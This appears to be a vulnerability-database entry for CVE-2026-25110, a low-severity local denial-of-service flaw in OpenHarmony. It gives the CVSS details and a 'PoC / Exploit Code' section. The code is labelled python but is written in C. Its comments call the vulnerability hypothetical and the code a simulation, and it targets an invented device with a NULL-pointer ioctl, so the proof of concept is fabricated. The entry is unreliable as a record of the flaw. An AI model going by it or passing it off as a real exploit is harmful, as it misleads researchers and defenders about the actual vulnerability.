in OpenHarmony v6.0 and prior versions allow a local attacker cause DOS.
CVSS Details
CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Configurations (Affected Products)
No configuration data available.
OpenHarmony <= v6.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
// PoC for CVE-2026-25110
// This code simulates a local DoS trigger in OpenHarmony
// by exploiting a hypothetical vulnerability in a system service.
int main() {
int fd;
char *evil_payload = NULL;
// Attempt to open a vulnerable device or service interface
fd = open("/dev/sys_vulnerable_service", O_RDWR);
if (fd < 0) {
perror("[-] Failed to open target device");
return 1;
}
printf("[*] Triggering vulnerability in OpenHarmony...");
// Trigger the logic flaw that causes the crash
// Passing NULL pointer to an IOCTL that lacks validation
ioctl(fd, 0x8001, evil_payload);
printf("[+] Exploit sent. If successful, the service should crash.");
close(fd);
return 0;
}